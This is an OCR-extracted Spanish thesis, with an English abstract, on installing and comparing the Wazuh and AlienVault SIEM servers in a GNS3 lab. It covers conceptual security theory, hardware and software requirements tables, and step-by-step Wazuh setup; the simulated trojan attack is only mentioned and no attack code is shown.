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RESUMEN

El presente proyecto se basa en la implementacion de dos servidores SIEM: Wazuh y
AlienVault, con la finalidad de evaluar el desempefio de cada SIEM, protegiendo,

detectando y analizando ataques en tiempo real.

En primer lugar, para realizar esta actividad, se debe hacer un estudio ingresando a las
paginas oficiales de cada herramienta SIEM, con el fin de observar las respectivas
especificaciones tanto el hardware y software, obteniendo informacion para su correcto
funcionamiento, luego de obtener la informacidn mencionada anteriormente, se

implementa y configura los dos servidores SIEM.

A continuacién, se debe desarrollar la implementacion de la topologia de la red mediante
un emulador llamado GNS3 para establecer conectividad entre los dispositivos con el
servidor SIEM, ya una vez configurado los servidores SIEM, se procede a realizar una
simulaciéon de ataque por malware. Luego de realizar esta simulacién de ataque, se
verific6 el comportamiento de cada SIEM, realizando un analisis técnico comparativo

entre ambos servidores.

Finalmente, se analizan y evallan las respectivas graficas generadas por ambos
servidores: Wazuh y AlienVault, demostrando ser dos herramientas claves de seguridad

y que pueden ser utilizadas con facilidad en operaciones de ciberseguridad.

Estas herramientas proporcionan una rapida respuesta ante un ataque, ofreciendo una

alta forma de detenerlos sin tener cuida alguna a la red o perdida de informacion

Las conclusiones del trabajo tienen como fin determinar una solucién implementada
proporcionando medios de proteccion eficaces a distintos ciberataques que se observan

en la actualidad.

Palabras clave: SIEM, Wazuh, ciberseguridad, Malware, Alien Vault
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ABSTRACT

The present project is based on the implementation of two SIEM servers: Wazuh and
AlienVault, with the purpose of evaluating the security status of each SIEM, protecting,

detecting, and analyzing attacks in real-time.

First, to carry out this activity, a study must be conducted by visiting the official websites
of each SIEM tool to observe their respective hardware and software specifications,
obtaining information for their proper functioning. After obtaining the aforementioned

information, the two SIEM servers are implemented and configured.

Next, the network topology must be implemented using an emulator called GNS3 to
establish connectivity between both servers. Once the SIEM servers are configured, a
malware attack simulation is performed. After performing this attack simulation, the
behavior of each SIEM is verified by conducting a comparative technical analysis
between both servers.

Finally, the respective graphs generated by both servers, Wazuh and AlienVault, are
analyzed and evaluated, demonstrating that they are two key security tools that can be

easily used in cybersecurity operations.

These tools provide a quick response to an attack, offering an effective way to stop them

without causing any harm to the network or loss of information.

The conclusions of the work aim to determine an implemented solution providing

effective means of protection against various cyberattacks observed today.

KEYWORDS: SIEM, Wazuh, cybersecurity, Malware, Alien Vault
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1 DESCRIPCION DEL COMPONENTE DESARROLLADO

El presente proyecto pretende analizar alertas de seguridad que han sido generadas por
diferentes dispositivos en una red, en tiempo real, esto mediante la implementacion de
un servidor SIEM (Security Information and Event Management) el cual ayuda a detectar

las amenazas, intrusiones y comportamientos sospechosos.

Se tendrd una topologia de red con un servidor SIEM, a la cual se le realizard un ataque
de malware con el fin de que el servidor SIEM muestre las alertas y registros de

actividad. Se comparara de manera técnica entre dos SIEM implementados.

1.1 Objetivo general
Implementar un SIEM para la defensa activa ante intrusiones en una red.
1.2 Objetivos especificos
¢ Examinar diferentes SIEM y sus requerimientos de hardware y software
e Implementar el servidor SIEM
¢ Implementar la topologia de red

e Verificar el funcionamiento del SIEM

1.3 Alcance

En primera instancia se analizan las caracteristicas de diferentes sistemas de gestién
de eventos e informacidon de seguridad, se analizan los requerimientos de hardware y
software de estos. Se seleccionan dos servidores SIEM y se procede a implementarlos
y configurarlos. Cada SIEM se establece en una topologia de red, implementada en un
emulador de redes. Con el fin de observar el comportamiento de cada SIEM ante un
ataque, se ejecuta un ataque de malware a la red, se realiza un analisis técnico
comparativo entre los dos SIEM. Se realizara un manual técnico con las mejores

practicas ante este ataque.
1.4 Marco Teorico

Seguridad de la Informacién

La seguridad de la informacion o seguridad de datos es un conjunto de medidas
preventivas, que permiten resguardar y proteger a toda la informacion existente de los

accesos no autorizados [1]. Es fundamental conocer las principales topologias que

1



existen para dar proteccion a la informacion como la seguridad del hardware, lared y el

software [1].

La funcién de la seguridad de la informacién es formar distintas protecciones a varias
organizaciones siendo privadas o publicas tomando prevenciones desde los diferentes
procesos que tienen relacion en la organizacién, tomando la gestién de recursos
disponibles y considerando los riesgos que permitan balancear los objetivos de

seguridad dando un mejor soporte [2].

Hoy en dia la tecnologia permite acceder a varios sitios donde proporcionan una gran
de informacion como también se puede acceder a sitios donde puede ser vulnerable y
tener problemas de seguridad con solo dar un clic [3]. Al momento de ingresar a aun
sitio web se puede encontrar con un ciberataque con personas maliciosas que pueden
robar la informacién personal, informacién importante de alguna organizacion o envios

de dinero sin autorizacion [3].

Para tener una buena seguridad de la informacion se debe tener un proceso de buenas
practicas que permitan proteger y resguardar la informacion, encontrando estos
objetivos en la norma ISO 27001 [1] [3]. Esta ISO implemento la regla para la creacion
de un sistema de gestion de seguridad, teniendo en cuenta 3 aspectos conocidas como

la triada de la seguridad de la informacion que son:

Integridad. - es la forma que se muestra la informacién desde el momento que fue
realizada, sin tener alguna alteracién sin que se lo hayan autorizado los mandos. El
objetivo es proporcionar una transmisién segura evitando riesgos, utilizando protocolos
de seguridad [1] [3].

Confidencialidad. — es la garantia que solo algunas personas o autoridades tienen
acceso a esa informacion sin ser divulgada. La comparticion de la informacion debe ser
autorizada [1] [2].

Disponibilidad. — es la forma de tener el acceso a la informacion en todo momento sin
importar que sea el personal de trabajo o autoridades. Pero para tener acceso se deben
tener soportes y medidas de seguridad para que puedan ingresar a la informacién

cuando sea necesario [1] [3].

Informacion de trabajo que tienen las empresas

Hoy en dia las organizaciones, empresas trabajan con 3 tipos de informacién sin

importar la actividad o sector que se encuentren, para realizar una proteccion adecuada:



Critica. - Esta informacion es indispensable para el perfecto funcionamiento de la
empresa y sus operaciones, es la que establece los beneficios a medio y largo plazo.
Se toman decisiones diarias donde se ve las operaciones y la garantia de continuar el

negocio para evitar interrupciones y pérdidas financieras [2] [3].

Valiosa. - Esta informacion permite que la empresa siga adelante, todo varia segun las
necesidades su necesidad la ven como valiosa 0 no, ya que depende de la actividad y

el sector que se encuentren [2] [3].

Sensible. - Es la informacién sensible que tiene cada empresa, solo tienen acceso las
personas autorizadas, la seguridad tiene que garantizar la proteccion de los datos del
cliente [2] [3].

Amenazas de seguridad informatica

En los ultimos afios los ataques por personas maliciosas han ido aumentando, dafiando
asi a las organizaciones o empresas que no cuenten con una seguridad informatica,
estos ataques pueden ser disefiados para robar informacion o provocar colapso de
servidores. Para evitar todo esto es necesario conocer y estar actualizado sobre todo
los tipos de ataques, su funcionamiento y qué medidas se puede tomar para evitarlos

[4] [8].

En algunas organizaciones o empresas se presentan la parte de vulnerabilidades y
amenazas que hoy en dia son muy comunes de detectar, los ataques cada dia van
buscando la forma de explotar todas las vulnerabilidades que puedan encontrar en una
organizacion. Para ello se procede a conocer los ataques mas comunes que se pueden
tener [4] [5].

Atagues comunes

En la Figura 1.1.1 se observan los atagues mas comunes a los que estan sometidas las

empresas o las diferentes organizaciones en el dia a dia.
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Phishing Malware

2 23

Robo de Ataques de
cuentas fuerza bruta

& . &

Ataques de ~0 @ Explotacién de API

ingenieria social y aplicaciones web
Credenciales  Archivos adjuntos
robadas de correo
electrénico

Figura 1.1 Ataques mas comunes en las organizaciones o empresas [6]

3



Ataque phishing. - Este ataque permite obtener informacion personal o confidencial
como por ejemplo nimeros de tarjetas de crédito, contrasefias del usuario, etc. Estos
atacantes usan aplicaciones conocidas, muy utilizadas o generan correos formales en
donde explican que deben ingresar a un enlace muy similar a una pagina oficial. Al
momento de ingresar piden el usuario, contrasefia o algun dato importante para asi

robar la informacion sin ser detectado [5].

Por ello las organizacion o empresas tienen el protocolo de no brindar cualquier
informacidn sea por correo o por via telefénica asegurando asi que el usuario caiga en

los ataques de estafas [5].

Correo no deseado o Spam. — El atague Spam es la accion que toma el atacante
enviando varios mensajes no deseados. Donde los correos pueden ser de publicidad,
politicas o0 en algunos casos ciberataques donde se filtran virus informaticos o algun

malware [5].

Este ataque permite descargar un archivo infectado dando entrada al atacante y que

pueda acceder a su informacién en todo su equipo [5].

Este ataque hoy en dia fue puesto en practica en las redes sociales las cuales hacian
creer que habian ganado algin premio accediendo a un enlace dando entrada asi al
ciberataque robando toda su informacion [5].

Amenazas internas. — Este ataque conlleva mas al personal que tiene cada
organizacién o empresa la cual se ve a la hora de ingresar al sistema, ya que son los
que tiene autorizacion para acceder a la informacion cualquier error que ellos comentan

puede resultar una entrada a toda la informacion que puede ser utilizada por terceros

[5].

También hay casos que el personal es el responsable de filtraciones de informacién ya
sea de forma involuntaria o no. En este caso las organizaciones educan al personal con

clases de ciber seguridad para evitar algun inconveniente futuro [5].

Inyeccién SQL. — El cédigo SQL o Lenguaje de Consulta Estructurada es introducido
por el atacante a una pagina web, para ingresar a la base de datos sin usar ninguna

contrasefa [5].

El SQL se utiliza para disefiar, administrar base de datos y acceder a toda la informacién
almacenada [5] [7]. Los atacantes analizan todas las vulnerabilidades para ingresar un
comando especifico que permita la ejecuciéon del SQL otorgando el acceso sin

autorizacion [5] [7].



Para evitar este ataque es necesario gestionar los sitios web que se utiliza, la

responsabilidad de hacer toda esta gestidn es la propia organizacién o empresa [5] [7].

Atague de denegacién de servicios (DDoS). - Este ataque envia numerosas
solicitudes a un servidor o red con la finalidad de superar la capacidad de respuesta. Al

momento que deja de funcionar el atacante tiene un blanco facil para realizar su ataque

[5]

Malware. — Es un software malicioso que tiene la funciébn de explorar las
vulnerabilidades del sistema, para adquirir permisos para su ingreso sin autorizacion.
Dentro de este ataque se tienen varias amenazas las cuales se encuentran

ilustrativamente Figural. y que se han identificado hasta el dia de hoy [4] [5].

RANSOMWARE SPYWARE ADWARE

= ) L(w)_

Le muestra publicidad

Le chantajea Roba sus datos sin parar
Ti d I
GUSANOS TROYANOS REDES DE ROBOTS
» 5 B
—
Se propagan Introducen malware Convierten su PC
entre equipos en su PC en un zombi

Figural.2 tipos de malware [8]

e Virus: es un software que se instala en una aplicacién o dispositivo con el fin de
dafiar o causar problemas en sus funciones. Para que este virus actlie necesita
la ayuda del usuario o atacante que le permita el ingreso a su sistema siendo

intencionado o no [4].

e Gusanos: es el ataque mas comun que tienen las organizaciones o empresas,
infectando a todo el equipo o el sistema. La finalidad que tiene este ataque es la

de replicarse e infectar una gran cantidad de dispositivos en una red [4].

e Ransomware: este ataque es el mas conocido por las organizaciones o

empresas ya que empieza a obtener toda la informacion en forma encriptada,
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impidiendo el ingreso a la base de datos pidiendo un rescate para liberar toda la
informacion un ejemplo de este ataque es el parte de las criptomonedas como
bitcoins [4].

e Troyanos: son programas que se instalan en el dispositivo sin que sean
detectados por el usuario. La finalidad que tiene este ataque es poder abrir
puertas para que el atacante pueda robar la informacién o poder implementar el

software malicioso [4].

Ataque Troyano

Este ataque es conocido como el caballo de Troya ya que permanece escondido en
algun programa inofensivo o en alguna pagina web de descarga. Al entrar en contacto
con cualquier aplicacién en donde se encuentre el troyano este se activa y permite el

acceso al atacante [9] [10].

Los troyanos entran en la categoria de malware, pero son utilizados frecuentemente
para realizar los ataques de Ransomware, para el robo de informacion a través del
software [9] [10].

El malware troyano se puede clasificar en varios tipos ya depende de la accién que se

realice en el dispositivo, estos son algunos ejemplos:

e Troyano Bancario: El objetivo de este ataque es robar la informacion de los

sistemas bancarios como pagos, tarjetas de créditos o débito [9] [10].

e Troyano Downloader: Permite descargar e instalar versiones actuales de

programas maliciosos en los dispositivos incluyendo el troyano y adware [9] [10].

e Troyano DDoS: Ataque de denegacién de servicio contra una direccion web, se
envia numerosas solicitudes desde una o varias computadoras desbordando la

direccion y provocando una denegacion de servicio [9] [10].

e Troyano Exploit: Son programas que contienen cédigos que aprovechan una
todo tipo de vulnerabilidades que tiene el dispositivo que se ejecutan todas las

aplicaciones [9] [10].

e Troyano Backdoors: Ataque de puerta ofrece a los atacantes monitorear o
tener el control a largas distancias del dispositivo infectado donde se envia, se
recibe y eliminar archivos. Este ataque a menudo se utiliza para crear grupos de
computadoras y formar una red zombi (Botnet) para sus fines delictivos [9] [10].

Hoy en dia el ataque troyano incorpora funciones de backdoor para que el



atacante tenga acceso a la maquina cuando él quiera. Los backdoors puros ya
vienen instalados en los sistemas o aplicaciones que el usuario utiliza a diario,

ya sea por el desarrollador se olvidé bloquear o quitar esa funcionalidad [11] [12].

Un Backdoor es un virus que permite monitorizar al equipo infectado desde un
lugar lejano. Son considerados peligrosos ya que explotan todas las
vulnerabilidades para ingresar a cualquier equipo de forma inadvertida y robar

su informacion sin que se dé cuenta [11] [12].

Pero no todos los Backdoors son virus, algunos permiten realizar tareas,
mantenimiento o actualizaciones en los equipos sin que el usuario este presente
[11] [12].

Para saber que si tiene el Backdoors se nota un rendimiento no tan notorio en la
parte apariciones de publicaciones o diadlogos pidiendo datos personales como
las cuentas bancarias 0 contrasefias. Para su deteccidn es necesario tener
actualizado el antivirus y el firewall para que ellos sean los encargados de

detectar alguna vulnerabilidad [11] [12].

Para su proteccién se debe tener un buen antivirus que permita detectar
cualquier amenaza en tiempo real, que se mantenga actualizado a cualquier

amenaza que pueda aparecer en un futuro [11] [12].

Blueteam

Es un grupo de profesionales en el area de seguridad cibernética que su finalidad es
proteger y salvaguardar la informacion de las empresas y ciertas organizaciones de los

atacantes cibernéticos [13] [14].

El Blueteam es la encargada de la detecciéon y prevencion de intrusos, dando una
respuesta rapida y efectiva a la misma. Ya que son un equipo diciplinado especializados
en analizar el comportamiento de los sistemas de una empresa, estudiando el
comportamiento de sus usuarios y equipos para encontrar la solucibn mas rapida de

cualquier incidente que haya sido pasado por inadvertido [13] [14].
El Blueteam trabaja con una seria de pasos los cuales se explicarian a continuacion:

e Reunir datos para la documentacion sobre todo lo que hay que proteger y

efectuar un andlisis de riesgo [13] [14].



e Reforzar el acceso al sistema de multiples formas como politicas estrictas en la
parte de seguridad y ejercicios didacticos con todos los trabajadores para su
entendimiento [13] [14].

e Se establecen protocolos de vigilancia ya que se puede registrar toda la

informacioén e ir comprobando toda actividad inusual [13] [14].

e Comprobaciones peridédicas como auditorias del sistema DNS, verificando la
parte externa e interna si tiene alguna vulnerabilidad [13] [14].

¢ Realizar evaluaciones de riesgo identificando las amenazas con cada activo y

debilidades que se pueda encontrar [13] [14].

Blueteam utiliza una variedad de técnicas de seguridad y tiene varias herramientas las
cuales permiten monitorear la red, andlisis de logs, vulnerabilidades, deteccion de
malware y analisis de penetracion [13] [14].

Las herramientas que utiliza Blueteam permiten ayudar a identificar y proteger a los
sistemas y redes de una organizacién, las mas conocidas son las que se presentan a

continuacion:

e Herramienta de monitoreo: monitorea el trafico de red en ese momento,

identificando patrones y anomalias [13] [14].

¢ Herramienta de analisis de vulnerabilidades: escanea a la red para la bausqueda

de vulnerabilidades para poder corregir y evitar cualquier ataque [13] [14].

¢ Herramienta de deteccion de malware: detecta y alerta cuando se produce una

actividad maliciosa en la red o en el sistema [13] [14].

e Herramienta de gestion de parches: mantiene a los sistemas y software

actualizados con las ultimas correcciones de seguridad [13] [14].

¢ Herramienta de analisis de logs: analiza el registro de actividades de lared y de

los sistemas para evitar ataques [13] [14].

e Herramienta de respuesta a incidentes: investiga y responde con rapidez a la

amenaza detectada [13] [14].

e Sistema de gestion de informacion de seguridad (SIEM): ElI SIEM recopila y
relaciona datos de seguridad de multiples fuentes en donde se encuentra varios

sistemas de seguridad [13] [14]



Sistema de gestidon de informacion de seguridad (SIEM)

Es una tecnologia que permite detectar y neutralizar las amenazas antes de que
ocurran. Su finalidad es poder brindar seguridad evitando cualquier ataque teniendo una

vision global de la seguridad de la tecnologia de la informacion [15] [16].

La tecnologia SIEM es la combinacién de dos categorias SEM (gestién de eventos de

seguridad) y SIM (gestion de informacion segura) [15] [16].

e SEM: permite centralizar el almacenamiento y permite un andlisis en tiempo real,

detectando algun patrén anormal [15] [16].

e SIM: recopila los datos a largo plazo en un repositorio para luego analizarlo,

proporciona informes automatizados [15] [16].

Su funcionamiento es proporcionar alertar a una alta velocidad, la visibilidad y la
capacidad de detectar amenazas hace mas facil el trabajo de los analistas viendo el

mejor modo de actuar a cualquier ataque [15] [16].

Herramientas del SIEM
Para el trabajo que realiza el SIEM se puede encontrar una gran variedad de opciones,
aqui lo importante es encontrar una herramienta que vaya con las necesidades de la
empresa o de las organizaciones y poder costearlo ya que algunas son pagadas y tienen
mas funciones que una gratuita, por ello se debe investigar a fondo cada caracteristica
que tenga el SIEM [15] [16].

Para algunas empresas y algunas organizaciones utilizan estas herramientas para

poder contralar toda su vulnerabilidad:

e QRADAR: plataforma de gestibn de seguridad, obteniendo informacion
simultanea y soporte de politicas. Verifica los sucesos de seguridad y las

vulnerabilidades que puede tener la red [15] [16].

e ARC SIGHT: solucion por HP dando un potente y adaptable, ofreciendo

informacion de datos y andlisis de amenazas en tiempo real [15] [16].

e ALIEN VAULT: es una herramienta que permite gestionar la seguridad

informatica como los eventos causados [15] [16].

e SYMANTEC: conocida como principalmente por su software antivirus para la

seguridad informatica [15] [16].



e McAfee; conocida por desarrollar soluciones de software para la proteccion de

dispositivos contra los ciberataques [15] [16].

o FORTINET: especializada en productos y servicio de seguridad de la red para

Su proteccion contra amenazas [15] [16].

e WAZUH: plataforma de codigo abierto, implementado para la deteccion de

amenazas basados en el host [15] [16].

Seguridad en hardware y software

Seguridad del hardware

Relacionado con la proteccion de los dispositivos que se usan para el acceso de la
informacion como los sistemas, redes, apps y programas de amenazas exterior [17]. Los

métodos utilizados son los siguientes:
e Alimentacion ininterrumpida (SAI)
e Servidores proxy
e Moddulos de seguridad de hardware (HSM)
e Firewall
e Data lost prevention (DLP)

Permite detectar, examinar las vulnerabilidades de cada dispositivo. Ya que ningin
equipo es perfecto por que pueden ser atacados por sus vulnerabilidades que tiene cada
equipo [17].

Seguridad de software

Permite guardar la informacion de los atagues de los hackers u otros riesgos
malintencionados con la vulnerabilidad que poseen los softwares, para su proteccion se

requiere de soluciones que puedan aportar modelos de autenticacion [17].

Con todo lo mencionado anteriormente se debe tener medidas de seguridad en las
empresas 0 en las organizaciones donde se puede tener peligro como el robo de
informacion delicada la cual pueda producir dafios al usuario. Para ello se toma
protocolos de seguridad ya explicados como la utilizacion del SIEM, tener todos los
equipos vigilados, tener actualizaciones del antivirus y por ultimo tener un registro de

todo lo que se haya hecho en la red [17].
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2 METODOLOGIA

Este presente proyecto se enfoca en la metodologia experimental y comparativa. Es
experimental por que se analiza dos herramientas del SIEM para la deteccién de
ciberataques a las redes informaticas, simulando ataques de malware en una red
pequeia de computadoras y con ello se comparar las dos herramientas observando los
resultados que tiene cada uno en su interfaz. Y finalmente los resultados se mostraran
de manera simplificada para los usuarios que no tengan conocimiento en el &rea para

gue en base a ello se escoja la mejor opcion de deteccidn para los ciberataques.
Para la implementacion del SIEM se realizaron las siguientes actividades:
e Examinacion de diferentes SIEM y sus requerimientos de hardware y software

Para realizar esta actividad fue necesario ingresar a la pagina oficial de cada
herramienta del SIEM para observar sus especificaciones tanto de hardware como de

software ya que sin esa informacion se limita el correcto funcionamiento de estas.
e Implementacién del servidor SIEM

Basado en el andlisis anterior se implementan y configuran dos servidores SIEM, el
servidor Wazuh y ALIEN VAULT para luego ser comparados.

e Implementacion de la topologia de red

Una vez configurado los servidores SIEM se desarroll6 una topologia de red mediante
un emulador conocido como GNS3 y se establecioé conectividad entre ambos, para de

esta manera realizar una simulacién de un ataque por malware.
e Verificacion del funcionamiento del SIEM

En este apartado se verificé el comportamiento de cada SIEM, para posteriormente

realizar un analisis técnico comparativo entre los ambos.

3 RESULTADOS

Este proyecto permite analizar todo tipo de malware como el ataque troyano, utilizando
las herramientas de SIEM como Wazuh y Alien Vault, para la deteccién y analisis del
ataque en tiempo real. Para la implantacion de la topologia se generé en el GNS3
teniendo un servidor, un agente y un atacante para cada uno de los SIEM. Para la

integracion del servidor Wazuh se utilizé un sistema operativo Ubuntu y para el servidor
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Alien Vault se utilizé un sistema operativo Linux con linea de comandos. Se realizo el
atague troyano con el sistema operativo Kali Linux a un agente de Windows dando el

acceso a una puerta trasera. Se finaliza con el andlisis de los resultados de cada SIEM.

3.1 Analisis de los SIEM y sus requerimientos de hardware

y software

Los SIEM Alien Vault y Wazuh son muy utilizados para la proteccién de la seguridad de
la informacion, eventos que estén ocurriendo en ese instante. Para la eleccion de cada
plataforma dependera de la necesidad que tenga la organizacibn como sus recursos,
sus caracteristicas, la capacidad de manejar software de codigo abierto o comercial y

los requerimientos de soporte y mantenimiento.

Requerimientos SIEM Wazuh

Es una plataforma de seguridad de codigo abierto, que tiene varias destrezas para la
deteccidén de intrusos, registro de eventos, estados de los archivos modificados y
analisis de vulnerabilidades. Las cuales varias empresas y organizaciones la usan para

la proteccion de la informacion personal o empresarial.

La informacidon obtenida es enviada a los administradores quienes toman la decision de
eliminar el problema. Ademéas, Wazuh tiene un sistema de correlacion que permite
identificar el comportamiento de sistema an6nimos, permitiendo la deteccion de

amenazas que podrian pasar sin ser detectadas de forma manual.

La implementacion de Wazuh, varia segun el despliegue, la cantidad de datos que se

van a procesar y los servicios adicionales.

Componentes de Wazuh
e Servidor: recibe los datos de los agentes, creando alertas de seguridad al
momento de detectar alguna amenaza o tipo de anomalia.
e Inderxador (Elastic Search): trabaja como motor de blsqueda. Se encarga de
registrar y guardar las alertas de seguridad creadas por el servidor la cual tiene
un formato JSON ya que todo el analisis se realiza en tiempo real.

e Dasboard (Kibana): interfaz web amigable para la visualizacion y analisis.

Requisitos de implementacién de Wazuh

Se escogiod la herramienta Wazuh para el desarrollo de la tesis, ya que es una plataforma
de codigo abierto que permite el monitoreo de la seguridad en las compafiias detectando

amenazas en tiempo real y verificando los eventos que suceden en ese instante.
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Wazuh ofrece una interfaz visual accesible que facilita la visualizacién de errores y fallas,

la cual se permite tener tablas de errores al momento que se detecta alguna amenaza

al sistema, presentando grafica de lineas mostrando las fluctuaciones que tiene al

momento que se ve afectado el sujeto, también permite tener graficas de pastel la cual

muestran los valores mas comprometidos que este generando las amenaza o el valor

del recurso mas ocupado. La herramienta Wazuh permite tener informes de toda la

métrica detalla, los recursos que utiliza para la deteccién de amenazas y graficas donde

muestran las vulnerabilidades y los ataques que pueden realizarse.

En la Tabla 3.1 se observa una variedad de sistemas operativos utilizables para esta

herramienta.

Tabla 3.1 Requisitos del sistema operativo para Wazuh

Sistema operativo Versiones
Amazon Linux 2
CentOS 7,8
Red Hat Enterprise Linux 7,8,9
Ubuntu 16.04, 18.04, 20.04 22.04, 24.04

Para la ejecucion de servidor se necesita la compatibilidad con navegadores tal como

se muestra en la Tabla 3.2.

Tabla 3.2 Requisitos de Navegador para Wazuh

Navegador Version
Chrome 95 o posterior
Firefox 93 o posterior
Safari 13.7 o posterior

Para la implementacion de wazuh, en la Tabla 3.3,

necesarios para ser implementado.

se observa los requerimientos

Tabla 3.3 Requerimientos de implementacion para Wazuh

Agentes CPU RAM Almacenamiento
1-25 4 CPU virtuales 4-8 (GB) 50 (GB)
25-50 8 CPU virtuales 8 (GB) 100 (GB)
50-100 8 CPU virtuales 8-16 (GB) 200 (GB)
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Requerimientos SIEM ALIEN VAULT

Es una herramienta de gestion de eventos y seguridad de codigo comercial, que permite
analizar y tener datos en tiempo real. Ofrece una solucién completa a varias funciones
de seguridad en una sola plataforma. Esta herramienta tiene la capacidad de detectar
intrusos, el cuidado de la integridad de archivos, el andlisis de las vulnerabilidades, el
comportamiento y la gestion de la informacion. Para la deteccion de eventos proporciona
tecnologias de deteccion de intrusos basados en el comportamiento siendo amenazas
conocidas como desconocidas. Tiene su propia interfaz grafica no necesita de

componentes extras para mostrar su interfaz.

Se escogid Alien Vault, porque permite tener varias gestiones de eventos y deteccion
de amenazas. Esta herramienta permite tener una rapida respuesta en tiempo real. La
Unica desventaja es que esta herramienta es de servicio comercial o en otras palabras

que para poder acceder a todos sus veneficios hay que pagar un valor.

Para su utilizacion es muy accesible ya que permite entender mucho mejor su
plataforma dando datos especificos sobre los recursos utilizados y verificar el atacante
dando su direccion IP y el sombre del sistema operativo que esta siendo utilizado para
hacer el ciber atague. Al igual que Wazuh permite tener graficas como la de pastel y la
grafica de lineas dando igual varias acciones permitiendo detectar las variaciones que

tienen al momento de detectar el ataque o al intruso

Requisitos de implementacién de Alien Vault

En la Tabla 3.4 se ilustran los requisitos de hardware necesarios para su

implementacion.

Tabla 3.4 Requerimiento de Hardware para Alien Vault

Recursos Minimo Recomendado
CPU 4 nucleos 8 nucleos
RAM 8 (GB) 16 (GB)
Almacenamiento 250 (GB) HDD 500 (GB) SSD
Interfaces de red 1 (Gbps) 1 (Gbps)

Para la implementacion del Alien Vault se tiene la siguiente Tabla 3.5 donde se muestra

los recursos de software.
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Tabla 3.5 Requerimiento de software para Alien Vault

Requisitos Descripcién
Sistema operativo La aplicacion esta incluida basado en
Linux
Navegador e Chrome version actual o
inferior.
e Firefox version actual o
inferior

3.2 Implementacion de los servidores SIEM

Cabe mencionar que para la instalacién de los servidores es necesario utilizar una
maquina virtual con recursos superiores a los que se muestran en la Tabla 3.1, esto se

consigue hacer mediante la instalacién virtual.

Implementacién de Wazuh

Para la instalacién del servidor Wazuh se utiliza el sistema operativo Ubuntu 24.04 para

posteriormente seguir los siguientes pasos:

Se ingresé al terminal de Ubuntu para ingresar el siguiente comando, el cual es
necesario para verificar la conectividad a las URL y transferencia de datos. En la

siguiente Figura 3.1 Instalacién del CURLse ilustra el comando CURL.

siem@siem-VMware-Virtual-Platform: ~

:-$ sudo apt install curl

[sudo] contrasena para siem:

lista de paquetes... Hecho

arbol de dependencias... Hecho

la informacidén de estado... Hecho

estd en su versidon mds reciente (8.5.0-2ubuntul6.1).

Figura 3.1 Instalacién del CURL
Se procedi6 a bajar el instalador de Wazuh usando el comando que se muestra en la

Figura 3.2.

M~ siem@siem-VMware-Virtual-Platform: ~ u] X

:~% sudo curl -sO https://packages.wazuh.com/4.8/wazuh-

install.sh && sudo bash ./wazuh-install.sh —al

Figura 3.2 Descarga e instalacion de WAZUH
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Ya instalado Wazuh se procedi6 a indicar un usuario y una contrasefia, se tiene un claro

ejemplo en la ilustracion de la Figura 3.3.

INFO: --- Summary -—-
INFO: You can access the web interface https://<wazuh-dashboard-ip>

User: admin
Password: <ADMIN PASSWORD>
INFO: Installation finished.

Figura 3.3 Usuario y Contrasefia de Wazuh

Se confirmé el direccionamiento del equipo donde se instalé6 Wazuh, como se ilustra en

la Figura 3.4.

$ ifconfig
ens33: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.168.195.129 netmask 255.255.255.0 broadcast 192.168.195.255
inet6 feB80::20c:29ff:fecc:7bcd prefixlen 64 scopeid Ox20<link>
ether 00:0c:29:cc:7b:cd txqueuelen 1000 (Ethernet)
RX packets 231980 bytes 335245589 (335.2 MB)
RX errors © dropped © overruns 0 frame 0
TX packets 46063 bytes 3321119 (3.3 MB)
TX errors © dropped © overruns O carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Bucle local)
RX packets 23430 bytes 3607127 (3.6 MB)
RX errors © dropped © overruns 0 frame 0
TX packets 23430 bytes 3607127 (3.6 MB)
TX errors © dropped 0 overruns O carrier @ collisions 0

Figura 3.4 Direccionamiento de la méquina virtual

Se ingresa al navegador, para posteriormente ingresar la direccion IP que tiene la
maquina virtual, que direcciona a la interfaz de Wazuh, como se ilustra en la Figura
3.5.
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B | @ wazuh
« [e] O & https//192.168.195.129/app/login? R To% € ® @ f =

wazuh

The Open Source Security Platform

Figura 3.5 Interfaz de Wazuh

Al iniciar el interfaz se procede a configurar ciertas extensiones que tiene Wazuh,
primero ingresando a configuracion y luego seleccionando Sample data se agrega las

tres extensiones tal como se ilustra en la Figura 3.6.

= W | SampleData

Sample data
0 the modules

Add sample data with events to t

@ These actions require permissions on the managed indices.

INSTALLED INSTALLED INSTALLED

Sample threat detection and response

Sample data, visualizations and dashboards for threat events of detection
and response (Vulnerability Detection, VirusTotal, Dockee MITRE ATTACK).

Sample Malware Detection

Sample data, visualizations and dashboards for events of Malware
Detection {Malware Detection).

Sample security information
Sample data, vie ind dashboards for security
Integrity Monitoring, Amazon Web Services, Office 365, Google Cloud

GitHub, authorization, ssh, webl.

Figura 3.6 Extensiones de Wazuh

Con las extensiones ya instaladas, lo que sigue es agregar el agente, para ello es
necesario estar ubicado en la pestafia principal y dar clic en la parte de AGENTS

SUMMARY tal como se ilustra en la Figura 3.7.
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Figura 3.7 Pantalla de inicio de Wazuh.

Ya ingresado a AGENTS SUMMARY, se selecciona DEPLOY NEW AGENT tal como

se ilustra en la Figura 3.8.

192.168.195.129, o 70% 1y ® ®@ 8 =

DETALS EvoLuTION

gents coverage
0.00%

Dar Click

Group(s) Operating system Cluster node Version status Actions.

Figura 3.8 Pantalla de AGENTS SUMMARY

Ya iniciado DEPLOY NEW AGENT, dar4 una ventana donde se procede a configurar

todo lo necesario para el agente, tal como se ilustra en la Figura 3.9.
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Figura 3.9 Pantalla de DEPLOY NEW AGENT

Se inicia escogiendo el tipo de sistema operativo, todo depende de cual sistema esté

utilizando el agente en este caso es Windows tal como se ilustra en la Figura 3.10.

Ueploy new agent

° Select the package to download and install en your system:

A LiNux 22 wINDOWS @ macos
RPM Simided RPAE aarchisd i
WAST BG4 bits
DR mmcid DR aanchid o #ppie shoon
I For additional systems and architeciures, please check our documentation

Figura 3.10 Seleccién de sistema operativo del agente

Luego se ingresa la IP de la maquina donde se instal6 Wazuh tal como se ilustra en la
Figura 3.11.

° server address:

This s the address the agent uses bo communicate with the server Enter an [F address or a fully qualified domaim

name [ FODN )
Axign a server address
192168 196.120

ﬂ Remember server address

Figura 3.11 Ingreso de la direccion IP del Servidor Wazuh

Se escribe un nombre para el Agente y se selecciona un grupo en este caso esta por

Default tal como se ilustra en la Figura 3.12.
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° Optional settings:

By default, the deployment uses the hostname as the agent name. Opoionally, you can use a different agent name in

the field below.

